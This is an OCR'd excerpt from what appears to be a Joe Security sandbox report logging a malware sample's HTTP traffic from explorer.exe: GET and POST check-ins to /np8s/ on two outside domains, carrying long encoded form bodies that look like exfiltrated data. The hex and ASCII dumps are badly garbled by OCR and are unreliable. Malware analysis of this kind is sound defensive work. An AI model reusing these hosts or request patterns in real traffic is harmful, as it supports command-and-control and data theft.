Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64
3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77
70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69
61 6¢ 2d 73 63 61 6¢ 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6C 65 3d 31 2¢ 75 73 65 72 2d 73 63 61 6C 61 62 6C
65 3d 3022 3e 3c 73637269 70 74 20 7372 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6¢ 69 63 64 6e 2e 63 6f 6d 2f 77
6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 77 70 6b 52 65 70 6f 72 74 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 6
967 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a
2f 2f 67 2e 61 6¢ 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6¢ 75 67 69 6€ 73 2f
67 6¢ 6f 62 61 6¢ 65 72 72 6f 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72
69 70 74 3e 3¢ 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6¢ 69 63 64 6e 2e 63 6f 6d 2f 77 6f
6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6¢ 75 67 69 6e 73 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6a 73 22 20
63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64
6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 26 26 28 77 69 6e 64 6f 77 2e 77 70 6b 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 77
70 6b 52 65 70 6f 72 74 65 72 28 7h 62 69 64 3a 22 62 65 72 67 2d 64 6f 77 6e 6¢ 6f 61 64 22 2¢ 72 65 6¢ 3a 22 32 2e 32
38 2e 3122 2c 73 61 6d 70 6¢ 65 52 61 74 65 3a 31 2¢ 70 6¢ 75 67 69 6e 73 3a 5b 5b 77 69 6e 64 6f 77 2e 77 70 6b 67 6
¢ 6f 62 61 6¢ 65 72 72 6f 72 50 6¢ 75 67 69 6e 2c 7b 6a 73 45 72 72 3a 21 30 2c 6a 73 45 72 72 53 61 6d 70 6¢ 65 52 61
74 65 3a312c 726573457272 3a21302c 7265734572 725361 6d 70 6c 6552 61 74 65 3a 31 7d 5d 2¢ 5b 77 69
6e 64 6f 77 2e 77 70 6b 70 65 72 66 6f 72 6d 61 6e 63 65 50 6¢ 75 67 69 6e 2c 7b 65 6e 61 62 6¢ 65 3a 21 30 2¢ 73 61
6d 70 6¢ 65 52 61 74 65 3a 2e 35 7d 5d 5d 7d 29 2c 77 69 6e 64 6f 77 2e 77 70 6b 2e 69 6e 73 74 61 6¢ 6¢ 28 29 29 3¢
2f 7363 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6¢ 6f 61 64 42 61 69 64 75 48 6d 74 28 74 29
7b 63 6f 6e 73 6f 6¢ 65 2e 6¢ 6f 67 28 22 €7 99 be e5 ba a6 e7 bb 9f e8 ae al 22 2¢c 74 29 3b 76 61 72 20 65 3d 64 6f 63
75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 72 63 3d 22 68 74
7470 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 22 2b 74 3b 76 61 72 20 6f 3d 64 6f 63 75 6d
65 6e 74 2e 67 65 74 45 6¢ 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6f
2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2¢ 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 62
61 69 64 75 50 75 73 68 28 74 2c 65 2c 6 29 7hb 77 69 6e 64 6f 77 2e 5f 68 6d 74 2e 70 75 73 68 28 5b 22 5f 74 72 61 63
6b 45 76 65 6e 74 22 2c 74 2¢

Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=de
vice-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssd
k/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js"
crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js" crossorigin="t
rue"></script><script>window.wpkReporter&&(window.wpk=new window.wpkReporter({bid:"berg-download" rel:"2.28.1"
,sampleRate:1,plugins:[[window.wpkglobalerrorPlugin {jsErr:!0,jsErrSampleRate:1,resErr:!0,resErrSampleRate:1}],
[window.wpkperformancePlugin,{enable:!0,sampleRate:.5}]]}),window.wpk.install())</script><script>function loa
dBaiduHmt(t){console.log("",t);var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?"+t;var
o=document.getElementsByTagName("script")[0];0.parentNode.insertBefore(e,0)}function baiduPush(t,e,o){window
._hmt.push(["_trackEvent",t,

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?4hM4=04B0f&zVB=d/nstEfJj6EqHIa063FJ0s9GugA95KQHoqtaktjr9/p2jHWIkCQ3yhCE01SUrsSQk5nzl HTTP/
1.1

Host: www.jlbwaterdamagerepairseattle.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp T Direction
May 27, 2022 9564 IN
18:43:24.950850010
CEST
Session ID Source IP Source Port
11 192.168.2.5 49901
kByt:
Timestamp yees Direction
transferred
May 27, 2022 9574 ouT
18:43:35.083694935
CEST
May 27, 2022 9575 IN
18:43:35.127604961
CEST
Session ID Source IP Source Port
12 192.168.2.5 49902

Copyright Joe Security LLC 2022

Destination IP

185.134.245.113 80

Data

HTTP/1.1 404 Not Found

Connection: close

content-type: text/html

content-length: 584

date: Fri, 27 May 2022 16:43:24 GMT

server: LiteSpeed

vary: User-Agent,User-Agent

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3¢ 54 49 54 4c 45 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6e 70 38 73 2f 3f 34 68 4d 34 3d
6f 34 42 30 66 26 61 6d 70 3b 7a 56 42 3d 64 2f 6e 73 74 45 66 4a 6a 36 45 71 48 49 61 6f 36 33 46 4a 30 73 39 47 75
71413935 4b 5148 6f 71 74 61 6b 74 6a 72 39 2f 70 32 6a 48 77 6¢ 6b 43 51 33 79 68 43 45 6f 31 53 55 72 53 51 6b 35
6e 5a 6¢ 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c
49 3e 77 77 77 2e 6a 6¢c 62 77 61 74 65 72 64 61 6d 61 67 65 72 65 70 61 69 72 73 65 61 74 74 6¢C 65 2e 63 6f 6d 3c 2f
49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa
Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE>
</HEAD><BODY><H1>Not Found</H1>The requested URL /np8s/?4hM4=04B0f&amp;zVB=d/nstEfJj6EqHIa063FJ0s9
GugA95KQHoqtaktjr9/p2jHwIkCQ3yhCE01SUrSQk5nZl was not found on this server.<HR><I>www.jlbwaterdamage
repairseattle.com</I></BODY></HTML>

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.localbloom.online

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.localbloom.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.localbloom.online/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 68 62 51 6a 45 64 37 4f 55 73 31 78 6¢ 61 46 55 36 51 47 50 31 73 33 44 33 6f 39 35 66 51 5a 58
33304261 73 6¢ 52 6¢ 74 6f 63 45 41 68 31 75 4d 67 6f 45 50 46 55 61 4f 4b 4d 63 6b 6a 4e 79 44 6b 7e 62 44 79 68 4f
6659 51 73 46 65 52 36 78 57 55 33 43 52 39 57 46 51 68 75 67 6a 48 37 6b 68 36 55 62 74 78 5a 54 32 52 67 4¢c 51 75
63 59 53 4f 58 4a 35 55 75 46 58 69 6a 28 67 61 63 73 4c 59 4a 4a 49 59 36 4e 55 34 4f 54 74 6¢ 53 39 35 77 70 36 69
55 67 64 4d 6¢ 77 4b 46 64 77 79 73 63 50 4c 50 4f 39 38 5f 50 67 70 61 33 56 59 67 57 6d 5a 6¢ 46 41 6f 4f 78 76 28 6¢
6a 4b 36 38 51 4b 6a 5f 54 78 43 66 49 65 61 42 71 6¢ 66 55 59 56 35 38 54 4b 47 43 30 4d 6f 52 71 49 53 70 72 56 36 4
654 77 42 57 69 44 35 38 42 4f 44 61 43 4d 7e 6¢ 68 45 6f 63 45 7a 46 66 7a 43 54 63 58 66 6¢ 4e 4f 71 34 4e 61 74 7a
44 51 48 43 43 73 41 72 44 34 30 49 34 6a 6¢ 65 56 66 58 79 37 58 53 7a 33 4a 72 74 4e 57 33 57 61 54 39 76 59 69 78
72 48 31 73 4d 44 36 7a 6a 45 56 59 54 51 6¢ 51 37 63 4b 47 49 6f 67 68 64 67 4b 4d 6b 41 68 4c 6¢ 51 6¢ 69 72 34 49
71 7e 30 30 66 4e 41 43 63 71 37 28 42 78 6¢ 56 4e 43 33 32 49 34 71 6f 55 75 74 44 68 6b 51 36 62 4d 7a 66 78 4c 65
44 46 43 35 67 79 70 42 6¢ 57 53 4c 44 38 70 77 29 2e 00 00 00 00 00 00 00 00

Data Ascii: zZVB=hbQjEd70Us1xlaFU6QGP1s3D3095fQZX30Bas|RItocEAh1uMgoEPFUaOKMckjNyDk~bDyhOfY
QsFeR6xWU3CRIWFQhugjH7kh6UbtxZT2RgLQucYSOXJI5UuFXij(gacsLYJJIY6NU4OTtIS95wp6iugdMIwKFdwyscP
LPO98_Pgpa3VYgWmZIFAoOxv(ljK68QKj_TxCfleaBglfUYV58 TKGCOMoRqISprV6FTwBWID58BODaCM~IhEocEzFf
zCTcXfINOg4NatzDQHCCsArD4014jleViXy7XSz3IrtNW3WaT9vYixrH1sMD6ZJEVY TQIQ7cKGloghdgKMKALIQIi
r41g~00fNACcq7(BxIVNC3214qoUutDhkQ6bMzfxLeDFC5gypBIWSLD8pw).

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Fri, 27 May 2022 16:43:35 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 61 36 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢
6f 77 65 64 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3¢ 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74
65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63
65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f
64 79 3e 0d 0Oa 3c 2f 68 74 6d 6¢ 3e 0d 0a 0d Oa 30 0d Oa Od Oa

Data Ascii: a6<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allow
ed</h1></center><hr><center>nginx</center></body></htmI|>0

Destination IP Destination Port Process

185.134.245.113 80 C:\Windows\explorer.exe
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kBytes

Timestamp T Direction
May 27, 2022 9588 ouT
18:43:35.153592110

CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1
Host: www.localbloom.online
Connection: close
Content-Length: 36477
Cache-Control: no-cache
Origin: http://www.localbloom.online
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.localbloom.online/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 7a 56 42 3d 68 62 51 6a 45 59 54 69 62 5f 78 73 37 61 4a 6e 33 46 53 62 36 38 6e 37 31 59 34 6f 54 79 74 55
6d 32 70 4f 69 46 67 56 73 70 6b 6b 48 53 42 50 49 6e 6¢ 52 50 42 5a 2d 4b 5f 6b 59 33 54 42 7a 44 6b 33 36 44 79 6¢ 4f
6559 49 61 46 2d 68 45 79 31 73 30 45 78 39 6d 45 51 68 4e 6b 6e 48 47 6b 68 75 36 62 74 35 7a 54 6d 64 67 4e 7a 47
63 4d 68 6d 63 55 4a 55 6b 5a 48 79 5f 69 77 47 72 73 4c 51 72 4a 49 6b 36 4f 6b 30 4f 56 4e 31 64 32 61 59 6d 39 79
55 68 58 73 6¢ 70 54 56 67 4a 79 73 49 74 4c 4f 79 39 39 4e 62 67 34 61 58 56 61 52 57 6e 57 31 46 5a 73 4f 78 75 37 6
C 28 62 36 38 4d 4f 6a 37 71 47 43 4f 38 65 49 68 71 67 59 47 35 71 71 37 48 5a 45 43 42 63 6f 52 6d 74 63 64 79 54 36
42 43 725854 76 37 37 65 70 77 44 59 75 6d 79 6¢ 68 41 39 73 46 6e 46 66 79 5f 54 63 58 68 6¢ 4e 65 71 34 4c 61 74
7a 58 38 48 45 48 34 42 30 6a 34 78 4d 34 6a 33 61 56 6a 76 79 36 28 6f 7a 32 6¢ 37 71 36 6d 33 58 50 37 39 6e 62 4b
79 77 48 30 70 42 6a 36 52 7e 30 55 50 54 51 6¢ 32 37 64 4b 6f 49 2d 6b 68 50 46 6d 4d 6a 6d 56 4c 70 41 6¢ 69 6b 59
49 73 72 45 34 50 4e 41 61 59 71 37 50 72 78 57 35 4e 42 6¢ 7e 49 37 4c 6f 55 39 4e 44 68 6f 77 37 5a 66 6a 7a 31 4f
38 37 44 42 5a 56 4e 30 67 30 41 55 34 4f 79 35 6d 30 67 71 48 30 47 4b 57 50 51 37 77 6f 37 4f 4b 45 62 79 49 28 36
4e 41 4e 6d 6d 57 68 41 71 49 37 56 55 47 76 78 4a 6d 76 55 54 58 39 42 72 79 63 47 56 39 34 65 37 6¢ 45 44 49 69 37
5a 64 44 76 59 43 41 52 39 39 4f 4f 2d 61 75 7e 47 6b 68 63 77 5a 32 6e 5a 57 34 43 32 52 78 41 44 68 65 4e 66 38 31
7670 69 61 52 78 52 42 53 72 58 6¢ 66 68 73 6 39 53 47 37 32 74 51 35 33 36 6b 50 6b 68 36 6b 73 59 7a 2d 30 48 43
45 55 4c 63 52 48 6f 7a 6a 58 63 4d 45 6f 75 70 36 48 4d 72 44 71 59 6¢ 4e 49 6¢ 51 38 63 43 6d 32 51 44 4b 52 47 66
74 6e 62 63 6e 4b 32 55 67 6a 47 70 4e 33 4d 37 6d 42 38 4f 77 53 64 7a 30 69 46 73 4a 70 70 6f 64 45 47 4a 6a 69 36 4
a 64 43 4e 6e 70 7a 71 69 62 66 4f 4f 53 67 69 33 56 54 68 37 6f 76 4e 4b 68 5f 73 42 66 34 33 6e 4e 4d 35 34 4b 38 75
66 61 44 41 6d 73 64 62 62 31 57 36 54 53 67 6f 4d 71 75 64 66 28 77 59 2d 6a 72 48 65 4b 33 6a 6¢ 57 6e 65 39 74 2d
45 77 30 58 66 53 74 4b 61 70 6¢ 34 4b 6b 4d 59 76 69 43 5f 7e 75 72 45 64 48 63 71 56 44 6b 4b 4f 56 4f 6d 42 41 54 47
4c 37 59 30 3568 61 77 5a 55 32 74 61 38 6d 4f 50 58 4f 58 47 64 67 33 46 4e 49 51 46 65 30 2d 5a 45 6b 74 6e 57 65
45 30 78 6a 31 78 76 39 39 56 6d 4d 76 55 6¢ 71 6b 56 6f 63 6f 4b 43 6d 58 78 67 44 59 4d 34 62 73 4a 44 4c 51 37 55
30 6a 4d 6d 61 6b 6¢ 6e 74 6e 32 78 33 4c 79 7a 45 44 64 4b 4a 35 69 57 49 39 57 6a 44 46 6f 64 4e 4f 61 58 32 43 31
64 77 54 70 32 35 5a 73 49 5a 74 38 35 79 69 65 53 6a 53 33 64 4c 43 63 53 64 51 28 6f 59 45 72 79 4f 56 4a 75 73 58
36 54 77 3254 50 59 61 76 59 76 6d 78 49 77 66 4a 57 74 59 6¢c 4e 32 6¢ 37 39 47 4e 4b 32 57 4d 34 72 77 6e 6f 36 4d
78 5a 66 41 57 6¢ 4b 6¢ 37 6f 43 74 4f 71 7a 49 72 78 65 5a 41 68 6€ 61 56 75 6b 57 58 4d 4f 63 78 42 50 76 54 4c 72 4e
41 46 65 61 45 6d 7a 73 34 7e 58 39 61 4e 4e 69 32 42 6b 69 74 43 48 44 46 58 44 6b 72 6¢ 47 71 2d 52 55 32 6a 4d 68
4565 41 73 52 62 6d 74 35 35 37 62 7a 4c 65 4c 4c 7a 72 35 46 49 35 75 65 65 50 44 6e 79 78 57 31 4c 46 76 68 45 65
38 5857 44 34 6f 7a 7a 6d 42 64 6b 66 74 45 54 66 57 5a 38 6¢ 74 62 34 69 57 31 46 52 54 56 51 6a 41 46 41 71 6f 64
55 79 5a 48 4c 5a 37 76 50 78 33 4b 6b 70 58 78 7a 48 45 55 62 4c 34 58 61 41 67 62 70 52 33 6a 6b 45 38 6f 49 4a 76 7
9 59 47 4b 41 63 4f 74 30 6b 4f 53 58 58 77 79 4b 5a 77 48 5f 57 6e 72 68 44 30 32 77 66 77 35 4e 53 2d 6d 6¢ 65 32 65
4f 49 5a 4a 6d 41 32 68 57 4d 76 50 4f 35 41 6e 70 7a 47 64 68 71 67 74 37 6¢ 43 44 34 6a 45 73 43 78 59 46 77 64 6d
6b 6f 6a 6a 57 56 6d 32 4f 68 54 4a 43 41 45 48 69 79 4c 63 75 4f 64 65 79 77 62 41 50 6f 38 6¢ 64 5f 41 43 6b 6d 52 4b
49 33 64 68 74 36 36 4b 6d 79 6a 62 45 55 31 45 6a 6d 44 55 74 58 31 68 43 53 6a 5a 67 66 54 4b 7e 6a 63 76 70 63 59
67 4e 3571 41 77 78 43 5f 28 75 59 56 65 5f 32 66 5a 52 46 53 49 74 39 43 6f 65 44 6b 36 2d 48 31 30 33 30 30 73 6¢ 33
41 65 4c 30 47 63 43 34 5f 6f 35 4a 49 6d 7a 42 68 71 74 73 30 6d 2d 34 34 79 52 62 49 64 49 38
Data Ascii: zVB=hbQJEYTib_xs7aJn3FSh68n71Y40TytUm2pOiFgVspkkHSBPINIRPBZ-K_kY3TBzDk36DylOeYlaF-
hEy1s0ExX9mEQhNknHGkhu6bt5zTmdgNzGeMhmcUJUKZHy_iwGrsLQrJIk6OkOOVN1d2aYm9yUhXslpTVgJysit
LOy99Nbg4aXVaRWnW1FZsOxu7I(b68MOj7qGCO8elhqgYG5qq7HZECBcoRmtcdyT6BCrXTv77epwDYumylhA9sFnFf
y_TcXhINeg4LatzX8HEH4BO0j4xM4j3aVjvy6(0z217q6m3XP79nbKywHOpBj6R~0UPTQI27dKol-khPFmMjmVLpAli
kYIsrE4APNAaYq7PrxW5NBI~17LoU9NDhow7Zfjz1087DBZVNOg0AU40y5m0gqHOGKWPQ7wo70KEbyI(6
NANmMmMWhAQI7VUGvxImvUTX9BrycGV94e7IEDIi7ZdDvY CAR9900-au~GkhcwzZ2nZW4C2RxADheNf81vpiaRXRBSrXI
fhsn9SG72tQ536kPkh6ksYz-OHCEULcRHozjXcMEoup6HMrDqY INIIQ8cCm2QDKRGftnbecnK2UgjGpN3M7mB8OwSdz
0iFsJppodEGJji6JdCNNnpzqibfOOSgi3VTh7ovNKh_sBf43nNM54K8ufaDAmsdbb1W6TSgoMqudf(wY-jrHeK3jIWne9t-
EwO0XfStKapl4KkMYViC_~urEdHcqVDkKOVOmMBATGL7Y05hawZU2ta8mOPXOXGdg3FNIQFe0-ZEktnWeEOxj1xv
99VmMvUIgkVocoKCmXxgDYM4bsIDLQ7UOMmakintn2x3LyzEDdKJ5iWI9WjDFodNOaX2C1dwTp25ZsIZt85yieS|S
3dLCcSdQ(0YEryOVJIusX6Tw2TPYavYvmxIwfIWtYIN2|79GNK2WM4rwno6MxZfAWIKI70CtOgzIrxeZAhnaVukWXMO
cxXBPVTLINAFeaEmzs4~X9aNNi2BkitCHDFXDkrlGg-RU2jMhEeAsRbmt557bzLel Lzr5FI5ueePDnyxW1LFvhEe8XW
D40zzmBdkftETfWZ8Itb4iW1FRTVQjAFAqodUyZHLZ7vPx3KkpXxzHEUbL4XaAgbpR3jkE8olJvyY GKACOtOKOSXXw
yKZwH_WnrhD02wfw5NS-mle2e01ZImA2hWMvPO5AnpzGdhagt7ICD4jEsCxYFwdmkojjWwVm20hTJCAEHiyLcuOdeyw
bAPo8Id_ACKkmRKI3dht66KmyjbEU1EjmDUtX1hCSjZgfTK~jcvpcYgNSqAWXC_(uYVe_2fZRFSIt9CoeDk6-H10300
sI3AeL0GcC4_05JImzBhqtsOm-44yRbldIBCHIIWMZ61ysnW~T60v8iYC_glV7Af7sgxDvANQLNCj76gtvLSRv6sh7
|IEFBI8p0jKwoMSr4NCU@8I07ANwdVJIZHY8I2v8MjOMgPZBPLQWKIUOfP4E2E82kZ42DTaHzPyqG4c4~H78cSY2FzTQ
54Up~goLthU5chzfBwqyE4y3JyPyfPTpcuOpprlLojgKqvyjEKgceCicToV5BII3sRfk3nywzZ3aUyRtCg~CD9sqV2uU
(iIFIzAEjD9xzvwCIGGc_cGegHPY2V2FxIXVSw68LI4mG9ciFwAsXasoquGlY Onuj0TqOUrEbkng-LOYXBtcHGx6_HOO-
r8M40foNZI2GOFrIkrf6Khd TgNRtdrnjINBVOHAYP6aJB_0eGBj7POGmMAaLVTgklyKdAQoF0od42WtKg(ZaTrQlh
mcflceVH3l4pzwfPuohDgBuxfD1OjIX7nDmxxQxvbe4kNzXjDrvPvMzYMb1Xh8XVx3KdtnQRfHY3Ok8FN-8r09xWnq
RkJzsjfodonhFWZZ6vUgN_gbtsvPXxAOHYumhmoHzbblyjPjFptCEOGPgzmZ88t30K2Egn8jRkhDSN6NmY6hgoluSuK
380Mn812E68nC2QdVVxSol8yUlgqyDHdqgrFpav95e05iovN(grE(yQdRfkCT6C1k4aGGBMdAZIYDGg2caA5M3y5Tu(5do
k7R4ZsGwwIKE~KhuY68WkInGid7cThV9LovWhRXik89H(dcra9pVCSrnCcF4zhBCZmgm3eSTHHgxysBIHNfiOWoba4
pFrRyF3hQC30BwpYKfseDVIEyoqcVIBAbOkaOFTAgGNP33QH6IQ~E34mUum4KziluzqqS1gqlFt8k81PaxYzyFfuO3GL
17Z2hzONdh8zVTFE37nX1XEd2y50sljdDoxsXG~UOAPbw3FgLnY3i_v7Im(3c-jhsdmHreWDr~4psTPxS88SjnK4z
2Rosi_1e6G9h0PVFQ-m8KicbhP3PYeniuo3AqHANrMYeJ(gPGzxgdd3VSFgswXkHWVm7cMr8IRaoSCQGaicUBgqIVPTQ
tXIVHW(LPgMapGh79CsLFOWc60zGd7piH60IczSNnDorlgJhvgjzN1XLfgiD17Nz6zmunl2vzbxhLnWGVNCX7Z7XHL
gifMrOpaC6C15sG5WwpX8Vtlfgjtxzd Tm87Y (pwflAeRp3GQHoWXenCIKZr5mIJfZCcpfZvnEYjYOE6OWPWatehf5U
BVcOK2jP3wRuF4p7V4axrwd9fyzgAmV~ekqYN2-HsUmg7eK2shkUPVTI-ixMIWcghNx4RYsvezaMqYNgn9Bpd5LIrnY
UZYpSXCCig9WBwgn10038bYOcpCZjrp6Rzg6fepVQewus4gY IHtRtFS09xxbbS8J5 (KRF34nXwsfc1XPDOr5V1PV3
fTZFFGdvBYtsH7vIIOzkeouNCmwsdslYmt7F0giXRFisoyF_ijXvz58dbEi5SBdRMCkpUgN1jasRkUyOxkrqZ4JB9Zx
SWOfIDbulLreX8W5f11SvM2-iYs5Z5TeK-FvIXyt(S8IGhRRc98aNETzOXpNPbNxvMgEOdzDyYUOS5tttCU76lcda~A
kdZzOOKQmdHg3VVDn4J-zB~HFN312ASmKsILDs~4LUAuXasyZL5t6wdm456NxNbERmM338EM1BomoYEWS
frAqT3ISGG61YzhBkegXTeRo1Hi_XeY5Vfen06YSfMWLXnRjoorli7afM33HJINpIDgOwV47CFudlJoOmT1zWk2b0O0lI
72N2B7C7K4Y-UefqSRajvEXbJVao70aVZWShWZEwaullreBm25Vc3Np6S4VyrdLyFOChXW20dPGaf_m5TBeVZ3Dplv
a_n9k36ZnCWQYPHNnghHwy~Wm3vBvh8c9DVu6hVnoaFiKzCxy~ADTbilxyxPmhvMxSbl14tQNd9eMjW77Ra~3rS10
C_E7sSQFR8F-L1KoXzFKNsIXxqlzTSjjk-rDhETMQmdjz5C7mg5p6rki9iEqxp1ViL7ieg9ZoUexW1EkvLzyuKufX0
OR(6m_tOsy4IEsk9TX5T~LBUoL(-z2YJChcKGjl13Wo0Lbm6ée_FUQIW_xX30z6(N3XvWfE2iXeULAMsHr85JxRCVn2
LzG302V6sLOICMbHJ6i2]EXiIR2bKET6cw044HWP_1Z(UAzISjEfgbaBIxsDY DKhteMttZcdPCvaSu_fEKP(VQS4DKM
NKMn9BzkFPXBaXGnvXivEb18nNZ9unOcINHGC C4s0Enn60eF53mXaJzuRKEhH4E3uOILS5DSParHctu7s9iPaF3rh
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Timestam e
P transferred

May 27, 2022 9592
18:43:35.197786093
CEST
Session ID Source IP
13 192.168.2.5

. kBytes
LHIEEE transferred
May 27, 2022 9600
18:43:35.198582888
CEST
May 27, 2022 9602
18:43:35.242239952
CEST
Session ID Source IP
14 192.168.2.5

Copyright Joe Security LLC 2022

Direction

Source Port

49903

Direction

ouT

Source Port

49904

Destination IP

185.134.245.113 80

Destination IP

52.17.85.125 80

ksQ25b~R8PM1YM26jLjgQv4j8mtWtUhLfTOO09eajo300R8wZuhAC7rs7ZniMuOad3jmcMCloUCUQqr70sDiX0dhkXL
83‘~%p5ctWAWm4_plGBanRvZ(pliYimfthihhr4Dng~58FOnWUpUQWdXeVSgbmIXszsz9VFhUSZsDX7IAn7biI
fOHKABD8Pg7CfNEIUWQFrHDz~9GqJhQfjXAybsglL5rsa4PgH2p6ug5n01E78KFGVIIMXMOEA7TrKrZD9UmxJF600
z1tHE42tGKQwgen-02EZKfpMazMPzem_gq~VG1u2ZTM8wnOd9pOQKwJIhUmGSIge5ZY7AUeOuBjN1sScv
